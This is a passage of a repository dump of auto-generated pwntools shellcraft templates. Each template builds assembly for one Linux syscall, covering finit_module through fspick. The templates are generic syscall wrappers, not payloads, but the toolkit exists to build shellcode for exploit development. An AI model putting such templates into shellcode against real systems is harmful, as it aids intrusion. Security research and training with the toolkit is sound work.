isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_finit_module']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_finit_module'])\n%>\n    /* finit_module(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/flistxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>flistxattr(fd, list, size) -> str\n\nInvokes the syscall flistxattr.\n\nSee 'man 2 flistxattr' for more information.\n\nArguments:\n    fd(int): fd\n    list(char*): list\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, list=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['list']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'list', 'size']\n    argument_values = [fd, list, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_flistxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_flistxattr'])\n%>\n    /* flistxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/flock.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>flock(fd, operation) -> str\n\nInvokes the syscall flock.\n\nSee 'man 2 flock' for more information.\n\nArguments:\n    fd(int): fd\n    operation(int): operation\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, operation=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'operation']\n    argument_values = [fd, operation]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_flock']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_flock'])\n%>\n    /* flock(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fork.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fork() -> str\n\nInvokes the syscall fork.\n\nSee 'man 2 fork' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fork']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fork'])\n%>\n    /* fork(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fremovexattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fremovexattr(fd, name) -> str\n\nInvokes the syscall fremovexattr.\n\nSee 'man 2 fremovexattr' for more information.\n\nArguments:\n    fd(int): fd\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'name']\n    argument_values = [fd, name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fremovexattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fremovexattr'])\n%>\n    /* fremovexattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fsconfig.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fsconfig(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fsconfig.\n\nSee 'man 2 fsconfig' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fsconfig']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fsconfig'])\n%>\n    /* fsconfig(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fsetxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fsetxattr(fd, name, value, size, flags) -> str\n\nInvokes the syscall fsetxattr.\n\nSee 'man 2 fsetxattr' for more information.\n\nArguments:\n    fd(int): fd\n    name(char*): name\n    value(void*): value\n    size(size_t): size\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, name=0, value=0, size=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'name', 'value', 'size', 'flags']\n    argument_values = [fd, name, value, size, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fsetxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fsetxattr'])\n%>\n    /* fsetxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fsmount.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fsmount(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fsmount.\n\nSee 'man 2 fsmount' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fsmount']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fsmount'])\n%>\n    /* fsmount(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fsopen.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fsopen(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fsopen.\n\nSee 'man 2 fsopen' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fsopen']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fsopen'])\n%>\n    /* fsopen(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fspick.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fspick(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fspick.\n\nSee 'man 2 fspick' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of 